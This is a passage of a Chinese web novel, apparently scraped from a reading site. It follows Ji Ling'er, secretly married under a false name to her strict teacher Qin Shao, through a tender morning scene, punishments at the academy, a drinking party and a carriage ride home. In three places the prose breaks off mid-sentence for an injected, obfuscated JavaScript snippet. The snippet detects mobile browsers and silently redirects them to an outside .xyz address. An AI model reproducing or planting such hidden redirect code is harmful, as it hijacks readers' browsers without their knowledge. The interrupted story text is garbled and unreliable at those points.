视线交错的瞬间，两人皆忘了说话，又或不知该从何开口。 季灵儿率先收眼，执笔蘸墨在新铺开的纸上落字。 秦劭朝前踱两步，停在距桌案三尺处，低沉声音裹着凉意飘过来，是两人几日来说的第一句话：“可还疼吗？” 季灵儿写完一整句话，重新抬头看向他：“疼。” 仅仅一字，掷地有声，似乎想看他是否真如秋棠所说那般心疼她。 她意料之外地没逞强说不疼，秦劭语气软下来：“久坐久站对伤处不好，莫要写了，早些休息。” 季灵儿立在原处，眸光楚楚道：“后日交不出要受罚的，先生能通融吗？” 她试探的太明显，秦劭想不在意都难，在回答问题之前，他更想弄懂另一桩扰他几日心神之事。 “季凌，你可有后悔嫁我？” 他总爱问突兀的问题。 季灵儿被问愣住了，嘴角噙着错愕的笑意，她自然后悔，悔的肠子都青了。 本就心情烦躁，经此一问，冲动之下脱口道：“我说后悔，您能休了我吗？” 似是得了意料之中的答案，秦劭回的十分平静：“现在不能。” “日后呢？”她紧随其后追问。 “如若你想，可以同我和离。” 季灵儿没想到他答应的这般轻松，握笔的力道一滞，笔尖重重戳在纸上。 又废一张。 秦劭眸光坠落其上，被墨色晕染得更加幽深。 错误的开始引出许多不受控的事端，各归各位对彼此都好。此乃他深思熟虑后的决定。 如此想着，沉声开口：“先前是我不该，失了分寸。” 季灵儿哪里知道这些，只以为他在为不经同意看她碰她一事道歉，毕竟是先生，他既主动低头，做徒儿的也不好得理不让人，秉着大人有大量的原则，道：“知错就改便是好先生，弟子也为言语冲撞向您道歉。” 她顺坡讲和，秦劭在意的却是话里的两道称谓。 先生，弟子。 好轻巧的语气，轻而易举将两人间的关系拉回最初。 秦劭重重挥出的一拳，顷刻失了着力点。 寻不到根由的情绪生出细长根须，紧抓沃土，滋生万千涩然。 27. 夫君 烛花爆开一簇轻响，惊破凝滞的沉默。 莫名的情绪连秦劭自己尚未弄明白，何况季灵儿。 她想的单纯，一面劝自己大气些，主动缓和局面，一面揣着小心思，团起被墨迹洇开的纸，张口打破僵局：“先生尚未回答我，可以通融吗？” 心说自己都如此宽容了，对方总该让一步，放她一马吧。 “不可。” “......” 她早该知道！向来恪守规矩的人怎会心软松口。 泄愤地抛开纸团，低头抚平新纸，看也不看他，没好气道：“先生若无旁事，早些去歇吧，我要继续做功课。” 秦劭望着她低垂的眉眼，忽觉满室烛火都黯了颜色。 想说的话已说完，本该就此转身，脚下却也似生了根，挪不动分毫，任烛影晃动他眉宇间难辨的情绪。 良久，他为自己的心软找了个台阶：“不可通融偏私，但身为夫君，明日我可以帮你写。” 季灵儿不敢相信自己的耳朵，抬眼寻求确认：“您说什么？” 秦劭没有重复，食指悄然扣在扳指上，压着心头莫名，望进她星光熠熠的眸，随即，他听见自己的声音。 “那么，是夫君还是先生？” 季灵儿眼底飞快掠过狡黠，嘴角却绷得紧紧的，故意拉长了声音：“唔......先问问夫君，当真会帮我写吗？” 流光划过杏眸时，心中的涩然悄然化开，秦劭松了蜷起的指节，点头道：“当真。” 她终于笑出声来，如春回大地，所到之处寸寸流淌欢欣，笔尖在纸上轻快勾下两字，举起给他瞧。 秦劭挪步近前，墨色淋漓，湿润润的“夫君”二字映入眼帘，甘霖滋润枯藤，嘴角勾起满意的弧度。 “现在可以去休息了？” 目送她回内室，秦劭缓步往外走。 季灵儿一向奉行礼尚往来，得了好处，自然要投桃报李，去而复返，从帘子里探出脑袋，眨眨眼：“您要歇在这屋吗？” 秦劭脚步一顿，回头望她，眼中多了一抹笑意：“你愿意？” 脸颊染着淡淡的绯红，倔强与他对视：“省得您在厢房睡不好明日反悔。” ... 晨光熹微，季灵儿又是在秦劭怀中醒来的，未睁眼先感受到贴在后背的坚实，绕在身前的手掌被她两只手紧紧握着。 她不禁想，自己睡觉真有如此不安分么？ 虽非第一次，仍觉羞臊难当，迅速放开，又好奇地端起，掌心相贴比较，他足比她大出一圈，骨节分明，温暖厚实，只需轻轻一蜷便能将她的手完全包裹。 指尖轻轻往上，摩挲他指腹薄茧，应是常年拨算盘留下的。思及此，反手捻着自己的指腹，尚算滑嫩，只不知天长日久，是否也会如他一样磨出茧子。 出神间，那张大手动了，松松弯曲，刚好将她的手拢住，同她所想无差。 秦劭昨夜便交代阿吉今日不去商行，寅时醒过一次，彼时小姑娘下巴抵着他小臂趴睡正香，绣被盖一半，胳膊横在他胸前，指尖将将垂在他外侧肋骨处，连累他上半身不曾盖被。 捏着她冰凉的指尖小心翼翼将人塞回被子里，她在睡梦中挣开，反握住他的手指，藏宝似的往怀里带，呢喃着不清不楚的梦话。 手掌被带着压在她身下，稍一动便擦到温软的峰峦，呼吸骤然沉下去，反在身体里爆发出更强的激流，汹涌往下蹿。 比她肌肤的温度滚烫数倍。 彼时强自克制的反应，此刻随着她的小动作升起蠢蠢欲动的重燃之势。 于是身体先于意识苏醒，握住了不安分的葇夷。 仅仅为了制止她纵火，秦劭如此告诉自己。却在感觉到她有抽手之意时，收紧力道，将其牢牢桎梏。 “您醒了吗？”季灵儿想侧头看他，刚一挪动，便觉他全身绷紧，手臂箍得她动弹不得，拂在耳后的呼吸乱了节奏。 “别动。”他声音喑哑，似未完全清醒，又似被某种情绪纠缠着难以自拔。 “为何？” 秦劭没说话，阖眸平复身体的躁动。 季灵儿等不来回应又逃不脱，无奈再度唤他：“先生？” 横蹿在身体里的热流，被这道称呼扰乱，骤然迷失方向，灭不掉也烧不旺，积聚在某一处，进退维谷。 理智腹背受敌，隐忍着难言的煎熬再次作出让步，纵容身体自作主张开口：“别唤先生。” 季灵儿哪里晓得身后正有一场天人交战，以为是强调帮忙之事，遂颇为乖顺地改口：“夫君？” 她一向能屈能伸，有求于人声音格外甜糯，拉扯出一丝尾音。 秦劭喉结狠狠滚了一下，他并非此意，但已来不及解释，火星迸溅入干柴堆，轰然炸开破竹之势，冲断阻塞，血液逆流到头顶。意识被热潮掀得摇摇欲坠，浑身肌肉颤动，他几近失控地收紧手臂，将人更深地揽进怀里。 不可遏止地贪恋起她的气息和温度，渴望以此平复激荡，却适得其反。 他不能动，不敢动，每一寸肌肉都守卫似的僵硬在原处。 季灵儿懵懂察觉后腰异样，灼烧感蔓延周身，脸颊涨出大片霞云，无措地攥着拳头，任对方将呼吸紊乱地洒在后颈。 如此僵持良久，秦劭终于调理好呼吸，紧绷的臂膀泄了几分力，仍未放开她，脸庞深深埋在她颈窝处。 自年少入商行，同一帮老少爷们共事，难免耳濡目染些许荤腥笑话，他对胭脂红粉不上心，记不清何时从知晓人事，明白晨间欲.望乃自然而生，自然消弭，不曾专门压制，更不曾纵情发泄。 这些年淬炼出的沉稳自持，顷刻间溃堤，实在始料未及。 生平头一次，决定自己狼狈极了，难堪极了。 “抱歉。”沉重的两个字，是他能想到且说出口的全部。 “你......我......”季灵儿未经人事，方才只是凭借周身感觉揣度一二，当下是真真切切感受到他的窘迫。 他身上出现不同寻常的情绪，且是这般不堪见人的，即使她身后的威胁仍僵持未退，季灵儿仍意外觉出几分放松，像是柜台上最值钱的商品出现瑕疵，变得平凡，不再令她望而却步。 她会有底气走进，抚摸，向掌柜问价，甚至拿捏它的瑕疵杀价。 相贴的温度挪走一寸，秦劭感受掌心里的指尖轻轻动了动，似试探，又似无心之举，勾得他的心弦紧绷。 小姑娘定然更惧怕和厌恶自己了。 “我明白的。”她整理好语句，鼓起勇气开口，声音轻柔无波。 秦劭缓缓睁开眼，眸色深沉如墨，依旧无话。 季灵儿伸出另一只手，轻轻拍在他紧绷的手背上，如同他曾经安抚自己那般，接着道：“人都有难堪的时候，我不会笑话你的。” “......” “咱们做个交易如何？” “嗯？” “我把这事忘了，您也把那日看我…的事忘了。” 当日被他觉得难堪，如今他也在她面前暴露难堪，算是扯平了。 秦劭哑然失笑，“好。” 随后又道：“可那日是你生我的气，这交易听着总是你吃亏。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379891|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 季灵儿纠正：“一码归一码，我是让您忘掉，但您不经同意看我…这事，我依旧是生气的，以后绝不能了！” “好，没有以后。”秦劭应的颇为诚恳。 然而他一垂眸，视线恰好落在她衣襟松散处，呼吸带着瓷白雪团起伏的同时，嚣张牵引他的视线。 食言仅在瞬间。 秦劭很快意识到，欲.望乃最难驯的猛兽，方才的失控仿佛只是猛兽初露獠牙，它蛰伏在血肉深处，等候另一个时机。 愈克制，愈汹涌。 他想让目光停驻，又不愿轻易食言，遂开口问：“我，可以吗？” 询问中带着令二人同时讶异的乞求意味。 季灵儿怔住，不知他问什么，又隐约明白，紧张到结巴：“什，什么？” “亲你一下。” 话出口他却先被吓到，几乎是本能地松开手。 如此无礼的要求，她应当拒绝的。 转念想，她现在顶着宋芮宁的身份，秦劭明媒正娶的妻子，难受至此，亲一下实在情理......只是亲一下而已。 心中快速计算过得失，眼睛一闭，颇有视死如归的气势：“如果你实在想的话。” 准备抽手起身的秦劭被这句意料之外的肯定定住动作。 “要亲就快些，”沉寂的空气暧昧又危险，季灵儿止不住心慌，抱着早亲早完事的心态催促，末了放狠语气补充道：“只许亲一下！” 话音未落尽，身体再度陷入坚实的怀抱，一记柔软的吻落在耳后，似飞鸿踏雪，轻而无痕，留下的细微酥麻亦可忽略不计。 她没有过亲吻的经验，但直觉不该如此草率，倒使她方才的戒备显得有些小题大做。下意识摸了摸耳后，疑惑脱口而出：“就这样？” 秦劭问出口的时候便后悔了，浅尝辄止的一吻是他克制后给自己的奖赏，经此一问，野火燎原。 细细密密的亲吻落下，在脂玉一般的颈间游走，顺着耳垂蔓延至脸颊，指尖在凸起的锁骨上描摹线条。 动作温柔到诱人沉溺，季灵儿只后悔祸从口出，忍着颤栗抓他手腕。 “多了。” 的确多了，秦劭自知过分，在泛红的颊边上逗留一瞬，随即退开。 季灵儿胸口起伏，眼神慌乱瞟着，庆幸背对他，不会被看到。 秦劭亦在庆幸，不曾被她看到此刻情.潮翻涌不得控制的模样。 压抑不得，只好在寒冬腊月冲凉克制。 … 小夫妻房中动静最受关注，“大爷房里一大早摇铃叫水”的消息转眼传到正院，老夫人正与几个儿媳同坐说话。 老夫人原还为二人分房多日发愁，寻思今日找机会探探口风，说和一番，听闻此言脸上的愁云霎时散了大半，眼角眉梢俱是欣慰：“新婚燕尔，原该如此。” 说罢吩咐人煮药膳送过去。 年关一通闹，二房三房没心思同乐，皮笑肉不笑地附和几句，姚氏表不出面上功夫，冷着脸捻茶盖，最后一口不饮放下。 “自凌烟出嫁，母亲一直担心宗劭的亲事，如今终于得了心头好，母亲这下该安心了。” 云氏听出她话中拈酸，以帕子掩住唇角的弧度。 老夫人不谙此层面，但听得凌烟，面上笑意僵了一瞬，随即恢复如常，浅应道：“如今看来，他们是各有福缘。” 姚氏笑说：“说来也巧，前儿个遇见二姑姐，说凌烟回来省亲了，不日便到，还说要带着来向您问安呢。” 老夫人诧异看向吴嬷嬷：“烟儿回来了？怎得未听二丫头传话来。” 28. 认罚 药膳送到大房院里时，季灵儿正托腮趴在暖炕上，边口述边看秦劭执笔挥毫。 知晓来意，眼尾的笑意瞬间折下来，淡声打发来人：“搁着吧。” 秦劭反而弯起唇角，对丫鬟道：“替少夫人谢过老夫人。” 丫鬟欠身回去复命，季灵儿迁怒似的横他一眼，“做什么替我说话。” “身为夫君，理应替娘子周全关系。” 季灵儿有求于眼前的“夫君”，不好说反驳的话，岔开话题道：“快些写，莫要借机偷懒。” 粉鼻儿微皱，秀眉横蹙，端的是一副强横模样。 秦劭挑着剑眉静看不动，笑意无声漫过眼底。 她只好道：“夫君，快些写。” 季灵儿觉得他实属故意，代笔没一个时辰，已借由停笔数次，等她唤“夫君”才肯继续。 可细究起来，秦劭并未提过这要求，每一次停笔时机亦十分自然，最初的一声“夫君”是她恐他反悔，心急所唤。 见她发呆，秦劭开口提醒：“我一直听着呢。” 言下之意是她并未往下念，是以迟迟不下笔。 季灵儿收了怪异的神思，继续口述下文。 半日下来，除喝药膳一事，秦劭对她称得上百依百顺，连她故意在篇章结尾处说错一大段，捉弄他重写也不恼，反而端着无比正经的神态道：“娘子既不满意，为夫重来便是。” 随后提笔润墨，字迹比先前更添遒劲。 “……”反而是作弄人的魁首先红了脸。 午膳前季灵儿起身查阅成果，才发现他竟一直临摹自己的笔迹，有八成相似，剩下两成，是灵动意趣与沉稳锋芒的区别。 饶是如此还能跟上口述速度，对此她既感且佩：“左右是您自己看，何必费心思临摹。” 秦劭将笔搁在笔山上，抬眼道：“若旁人看出端倪检举你找人代笔，你是认罚还是不认？” 季灵儿嘟囔道：“他们不见得是亲笔写的。” “哦？”秦劭饶有兴趣地等着听下文。 她并不上当出卖同门，反歪头挑着眼尾问：“先生忍心罚我吗？” “忍心。”他说。 季灵儿哼了哼，小声呢喃：“还是夫君好，先生坏透了。” 秦劭眉梢轻扬，面上掠过浅笑。 ... 待秦劭午憩，季灵儿借口去花园消食，带着清早回来当差的玉秀到僻静无人处问话。 “你同秦勉认识？” 为避人耳目寻的清静处，恰是除夕夜玉秀与秦勉纠缠的梅林，玉秀心虚更甚，紧张得险些话都说不全：“您为何如此问。” “你走的那日，他向我问起你。” “三少爷他......可有说旁的？” “没有。” 玉秀沉默许久，经季灵儿再三催促，才开口道出实情：“三少爷见过我家小姐。” 季灵儿瞳孔骤缩：“什么！” 玉秀简略讲了秦勉与宋芮宁在诗会偶遇结缘的过往，那段时日秦勉几乎一直宿在曹县，递诗，传信，想方设法与宋芮宁相见。 宋芮宁不理他，他竟找上宋员外扬言迎娶，宋员外知他是秦家三少爷后欣喜应承。 “后来秦家当真来人上门，却不知为何换成为大爷求亲。”玉秀说完低垂着头，不敢看她。 对宋员外而言，女婿换成秦劭，无异于天上掉馅饼砸在跟前，捡起来发现是金子做的。 “你家小姐究竟为何不愿嫁？” 玉秀摇头。 身为贴身丫鬟，玉秀不可能不知，应是不能启齿。 季灵儿眼下顾不上追究这些，又问：“回家前你魂不守舍，是因为秦勉找过你？” “是。” “说什么了？” “三少爷逼问奴婢小姐的下落。” “你告诉他了？” “奴婢不知小姐去了何处。” 问一句答一句，简直要将季灵儿急坏了，“他都同你说了什么，你一口气说完。” “三少爷没说什么，原是拿向大爷拆穿您的身份要挟奴婢说出小姐下落，但奴婢实在不知，后来......”玉秀咬唇顿了片刻，终是难以道出实情，只道：“后来他似是又想通了，说将错就错甚好，他日若寻回我家小姐，他还有机会迎娶心上人。” 玉秀有隐瞒，但说出口的皆是实情，季灵儿未曾怀疑，只觉得荒唐可笑。 若宋芮宁当真兜兜转转一场回来嫁给秦勉，那她这些日子的遭遇算什么？他人棋局中的笑柄么？ 指尖发冷，心底燃起一股无名火，无处宣泄，更气自己贪财误事。 是非之地不能久待，她想。 ... 翌日。 架子床帷帐大敞，晨光柔和映亮屋内，季灵儿翻身朝里，将绣被拉到头顶，挡住扰人清梦的光线，却遮不住床榻前的三催四请。 “尚早呢，再睡一刻钟。”烦躁的嘟囔闷闷传出。 耳边清静片刻，换来另一道清冷声音：“你若再拖，我便改主意不允你去了。” 打中七寸的话比声音更冷，季灵儿倏地掀开被子，忿忿道：“您不能出尔反尔！” “是你懈怠。”秦劭面不改色纠正。 “我起还不成嘛，”季灵儿语气慵懒，咕哝着坐起身，揉开惺忪睡眼。 磨磨蹭蹭挪到榻沿，忽然想到什么，仰头对身前穿戴整齐的人道：“我若与您同车而去难免被人瞧见，您先行一步，我收拾妥当自行过去。” 秦劭挑眉看她，墨眸深邃，似能看透人心。 季灵儿被他看得心虚，赶忙补充：“我保证不会重新睡下，更不会误时辰！” 真真是此地无银三百两，秦劭唇角微不可察地勾起：“此话当真？” 季灵儿重重点头。 秦劭不再多言，转身离开。 确认他走远，季灵儿如释重负地倒回榻上，算算时辰，能再睡一刻钟。 然而她忘了先嘱咐玉秀看时辰唤她，这一闭眼，直接睡过了头。 匆忙赶到学堂时，堂前桌案上的线香恰好燃尽最后一缕青烟，香灰坠落，季灵儿不偏不倚撞进秦劭不掺任何情绪的目光里。 燃香计时由来已久，弟子迟到，惩罚力度用一炷香燃烧长短计较，她整整迟了一炷香，意味着不仅要罚站，还得挨手板。 季灵儿喘着气站定，发髻微乱，衣袂沾尘，可怜兮兮地望着他，试图用眼神求饶。 秦劭身姿挺拔立在讲堂前，面色平静如常，指尖轻叩桌沿，一声，两声，在等她开口。 她读懂了，他正履行承诺，拿自己当一个再普通不过的弟子。 咬着瓷白的牙开口：“弟子知错。” “可认罚？” “认。” 秦劭满意颔首，拿起戒尺点在案上，示意她上前。 十戒尺，次次精准落在掌心，声声清亮，丝毫未因他们同床共枕的关系留情。 掌心火辣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379892|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辣地疼，小姑娘一声未吭，结束后蜷起泛红掌心，自觉转身往讲堂后方走。 倔强背影落在秦劭眼中，涌动起细微暗潮，他握着戒尺的手紧了紧，复又松开，收回视线。 讲堂后方已经站了三个误时辰的师兄，贴心地给小师弟让了个位置。 课至中途，秦劭宣布进行突击考核，检验年前所学，内容为算数，鉴货，谈判三项。 算数与谈判季灵儿算得上擅长，只鉴货一项有些作难，各类珍宝的特征与鉴别诀窍乃休假前新学，本就不牢固，近一月受替人成亲之事影响，根本无暇温习功课。 且她非出身富庶，无珍宝古玩可供日常熏陶，识货经验远逊于同门，凭直觉辨出两样珍品，剩下三样模棱两可。 苦闷之际，不觉抬眼望向秦劭，这人日日同她相处，前连半点考核的口风都不透露，实在可恶！ 恰逢秦劭目光扫来，两人视线在空中相碰，他不必费力便读懂她眼底的愤慨埋怨，他似笑非笑地垂眸，手中的茶盏轻轻转了个方向。 季灵儿腹诽着收回视线，悄悄团了个小纸团砸向斜前方的云衡，引他注意，眨着眼睛求助。 云衡刚对一个口型，旁边的梁宸扯着嗓子道：“师父，季凌作弊！” “......” 目光齐刷刷聚焦在季灵儿身上，她脸上火辣辣地烧，恨不得当场上去给他一拳。 秦劭声音沉静：“各自专注，季凌，你上前来。” 她磨磨蹭蹭起身过去，路过梁宸时泄愤地踹在他小腿上。 “季凌！” “季凌。” 梁宸和秦劭的声音同时落下，一道愤怒，一道冰冷。 梁宸觑见师父神色不悦，知趣噤声，等着看她受罚。 “可否答完？”他问。 “没有。” “拿到案前继续。” 季凌气得牙痒，仗着背对众人，壮起胆子瞪他，恨不得拿目光在秦劭身上戳出几个洞来，秦劭垂眸翻书，权当看不见她的胆大妄为。 带着情绪，季灵儿原本拿手的谈判一项也发挥寻常，考核结果惨淡。 铁面无私的秦劭目光扫过连她在内的几名弟子，道：“考核未达乙者，抄写《货殖百鉴》一遍，罚扫学堂三日。” ... 波折一日总算捱到散学，季灵儿心力交瘁，过去一年她犯错的时候数不胜数，先生态度与往日无差，可从未有过今日这般憋屈，说不清因由。 师兄中有人提议相约如意楼小聚，推辞之言到嘴边，想到回去还要面对秦劭，改主意应下。 几盏酒下肚，气氛渐酣，师兄们聊得热络，季灵儿亦将烦忧抛诸脑后。 “你们说，咱们师父那般严肃的人，新娶的师娘会是什么样？”不知谁将话匣子引到此处。 “定然是知书达理的大家闺秀，否则怎入得了师父的眼。” “我倒觉未必，”另一人接话，“师父那般闷性子，合该配个活泼些的，不然日子多无趣。” “这你们便不晓得了吧，师父娶的是我们县里宋员外家的小姐，从前经常出入雅集诗会，是个小有名气的才女。”说话的是曹知祥。 众人啧啧赞叹，季灵儿听着他们对“自己”的猜测，暗笑不语，自顾自地斟了杯酒。 有人注意到她的反常，笑问：“小师弟素日最喜拿师父之事下注，今日怎得如此安静？” 季灵儿抬眸一笑，酒意微醺道：“在想日后如何躲懒逃学。” 29. 撞破 大家只当她为今日受罚烦闷，调笑着安抚几句。 忽有人一拍桌案道：“对了！云衡家中与师父有亲，应当见过吧？” 数缕目光齐刷刷聚来，云衡收了盯在季凌身上的视线，抿着唇摇头，只说：“不曾见过。” 季灵儿疑惑地抬眼看他，转念想，孤山上的一面的确算不上见过。 云衡不知她心中所想，迎着目光笑起来，笑意比盛夏的日光炽烈，灼灼映进她眼底。 “你少吃些酒，醉了我可不背你回去。” “用不着，我酒量好得很。”季灵儿被他感染，也扬着脸笑起来，挑衅道：“要不要比比？” “我可比不过你。”云衡在她跟前从来只有认输的份，转问：“今日听你说不宿在叠翠园，那在何处落脚？” 叠翠园乃学堂所设之地，因依傍青翠山林而得名，原是一处幽静别院，被商行借用，作开堂讲课之用。 众弟子来自河东府各县，因每日往返不便，或投宿亲戚，或在园中厢房留宿。 叠翠园与孤山各处吉安一端，遥遥相对，季灵儿不便回清心庵住，去年一直留宿园中，因而有云衡此问。 “我宿在亲戚家中。”季灵儿道。 云衡疑惑：“不曾听说你在吉安有亲戚。” 季灵儿不欲他探究，便说：“我从前也不知你是云家小少爷啊。” 云衡一听翻旧账瞬间认怂，“我纯粹想知道你住何处，方便寻你。” “我借住的亲戚家情况复杂，不方便外人上门，左右咱日日在学堂见，不必特意寻我。” 正说着，大师兄林起打断二人：“知你二人关系好，但总晾着大家伙说私话实在不像话，罚酒罚酒......云衡你今日可没少漏酒，给他满上！” “哎，云衡你总盯着小师弟做什么，莫非你俩有断袖之癖？” 哄闹推搡，又是一阵热闹。 一坛又一坛佳酿见底，月色渐浓，众人皆现出醉意，说话愈发失分寸，荤话玩笑不断，季灵儿听得面红耳赤，起身欲告辞。 “师父从前有过一桩婚事，聘礼都下了，不知为何退了婚。”不知是谁的一句，让她滞了动作。 季灵儿错愕立在原地，这事她从未听人提起过。 “小师弟怎么了？”林起抬头问。 “人有三急，”她随口一应，追问：“为何退婚？” 那人哈哈一笑，道：“看来三急也抵不住小师弟听乐子的心急。” “的确心急，你且快说！”季灵儿催促。 “我也是听说，那一阵总有传言说秦家大爷是个暴戾严苛的性子，丝毫不懂怜香惜玉，惹得未过门的娘子畏惧，哭闹着退婚。风声只传了一阵，许是被人压下来，没人再提了。” 季灵儿再问其他，无人知晓，云衡亦摇头说不知。 话题终了，众人眼瞧时辰不早，纷纷起身离开，走出雅间，正撞见从隔壁出来的秦劭，身后还跟着几位商行当家和掌柜，看样子刚结束应酬。 “师，师父......”众人慌忙行礼，声音参差不齐。 面面相觑，每一张醉意醺醺的脸庞都写满尴尬，方才他们声音不小，指不定被听了多少去。 秦劭目光扫过众人，在季灵儿脸上停留一瞬，淡淡道：“玩得可好？” “甚好，甚好......”师兄们支支吾吾地应答，而后纷纷找借口仓皇离去。 云衡扯了把站在原地不动的季灵儿，好心道：“我送你回去。” 季灵儿瞥了秦劭一眼，见对方面无波澜，似乎并无表示，遂道：“那就有劳师兄了。” 秦劭目送她跟随云衡下楼，半步不停，更不曾回头。 出酒楼经夜风一吹，季灵儿恍然觉得酒意上涌，脚步虚浮地晃了晃，险些自己将自己绊倒在台阶上，云衡眼疾手快扶住她的胳膊，“小心些。” 她嬉笑道谢，视线虚飘，瞧见他裸露出的半截手腕上，系着她送的红绳。上下打量一番，中肯道：“好看是好看，似乎不太搭你贵公子的气质。” “我觉得很搭，我很喜欢。”云衡又用灼热的目光看她。 季灵儿不由想起席间，师兄们缠云衡饮酒时打趣的话，怔怔问：“云衡，你莫不是喜欢我吧？” 扶在她胳膊上的手骤然收紧，力道透进衣衫，捏的她痛呼，云衡惊慌撤手，憋红脸说不出完整话。 季灵儿揉着痛处噗嗤笑出声：“玩笑罢了，瞧给你吓的…不过你脸红得跟这酒楼灯笼似的，真有趣。” “有趣？”云衡不明白这算何形容。 “嗯，你一直都很有趣。”季灵儿染了醉意，歪着脑袋看他，眸光有些涣散。 夜风钻入袖口，凉意顺着臂膀攀爬，消不掉云衡满腔炽热，摩挲着着腕间红绳，难耐的悸动冲破羞涩，郑重又拘谨地开口。 “那你，喜欢我......这样吗？” “喜欢啊，虽然有些傻，但总逗我开心，有趣的事物我都喜欢，”她笑弯了眼，话音自然轻快，杏眸像藏了星子般忽闪着，视线却早已越过他，飘向身后某处。 那里站着一个身披狐裘的人影，夜色下他的轮廓愈发清峻，目光幽深似寒潭，仿佛将周遭的灯火都吸纳入其中。 他傲立于风中，未语，也未动，可季灵儿总觉得看不真切。 所以她很努力地聚焦视线，努力看清他脸上的情绪，却被灯笼的光影晃花了眼，轻轻晃了晃脑袋，人便不见了。 笑意渐浅，嗓音微醺。 当真有些醉了，她失神地想。 云衡顺着她的目光回头，只见到空荡的街面与渐熄的灯火，将她扶得更稳了些，低声道：“还是我送你回去吧。” 季灵儿刚想拒绝，远处驶来一驾马车停在二人身旁，车夫道奉命接季公子回府。 只是普通车架，其上未挂标识，再看身边人，显然也颇为意外，云衡不放心道：“你家主人是谁？” 马夫看着季灵儿回道：“昨日为季公子代笔之人。” 季灵儿了然，别了云衡踏上马车。 车帘落下，隔开两片天地，她透过帘缝回望，云衡仍伫立原地目送自己，身影渐缩成一点微光。 “喜欢他？”车内的另一人开口了，声音轻缓如风，好似寻常关怀。 季灵儿回身，看向倚着车厢的秦劭，车内未燃灯笼，唯有月光自帘隙洒落，在冷峻的侧脸上洒下投影，帘子因风摆动，他的脸时明时暗，眉眼一直隐在暗处。 车厢内弥漫着酒气，混着松木香气的那部分，源于他。 秦劭同样看不清她的神色，是以等待答案的过程更加漫长，磨得他有些烦躁，追问：“怎么不说话？” “在思考您说的是哪种喜欢。” “你对他是哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16385314|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种？” “热烈鲜活，无忧无虑，满身少年意气时常会显得憨傻，看着便觉有趣，相处轻松自在，会令人欢喜。”季灵儿如学堂问道般认真回答他。 昏沉中，秦劭生出她在把自己当作云衡吐露心事的怪异之感，后悔有此问，也不太想再往下听。左手抵着白玉扳指转动，玉色与月光相映生寒。 须臾，季灵儿落下叹息：“我喜欢他的有趣，就像喜欢罕世珍品一般，因为那是我没有，也买不起的......我很羡慕他。” 自知晓云衡身份那日，她便理解了云衡身上纯粹的热忱从何而来，原是生来便烙在骨血里的东西，她这样的人，注定不会拥有。 马车转了方向，月光随之斜移到她身上，照见她眼底怅然。 “季凌。”秦劭指节微蜷，扳指停转，语气也轻了几分，“你同样是珍品。” “是么，那我可要将自己标个好价码。”月光在她弯起的眸子里碎成粼粼波光。 “你并非商品，为何要标价？”秦劭不喜她这般将自己贬低成可买卖之物的形容。 “我当然不是要卖自己，凡事有标尺才好区分差别，标了价码才好看出长进。您今日不也拿甲乙丙丁评定我们的优劣嘛？” “我评的是课业而非人。” “可您罚的是人。”她瘪着嘴，一副委屈情态，“我手心到现在还疼呢。” 说罢作势伸出去，不管他是否瞧得见，“先生罚我抄书，我疼得抄不了。” “......” 就知道小姑娘撒娇是没安好心思，原在这里等着他。 红痕早已消退，秦劭凭着记忆，伸手覆上戒尺落过的位置，轻缓揉搓。 粗粝摩挲细腻带起痒意，下意识往回缩，小拇指被他指腹勾住，缠绵滞留在黑暗中。 在她将要收走最后的触碰时，秦劭低声开口：“不是说疼么，我替你揉揉。” 这下她没理由再躲，乖乖把手送回去，痒意很快变成温暖的包裹，从掌心开始燃烧，融化她身上每一寸凉意，顺着血脉蔓延至心口。 秦劭：“离太远了，胳膊架在半空很累，坐过来些。” 车厢并不大，但她还是挪了挪身子，直到肩头轻抵着他的，交握的手臂自然垂落，搁在他膝上。 他似乎忘了要替她揉，她也忘了把手送过去的用意，两人静坐无话。 车厢太昏暗，亦太寂静，醉意汹涌，季灵儿眼皮开始发沉，“我困了。” “睡吧。”他只说了这两个字。 狭窄的车厢不足她舒展四肢，换了几个姿势，最后借黑暗靠进他肩窝，“这样可以吗？” “嗯。” “只眯一小会，到了叫我。” “好。” “一定叫我，我还要抄书。” “......好。” 须臾寂静，秦劭以为她睡着了，却听见极轻地一声唤：“夫君。” “嗯？” “可否再帮我代笔一次？” “......” 小姑娘聪慧，凡事一点即通，譬如只尝过一次甜头，便对利用他躲懒一事驾轻就熟。 “行不行嘛？”他久不答话，季灵儿心中没底。 “行。” 计谋得逞，季灵儿放下心来，安稳蜷在那方寸间的暖意里，意识沉入薄雾，呼吸渐渐绵长。 30. 义父 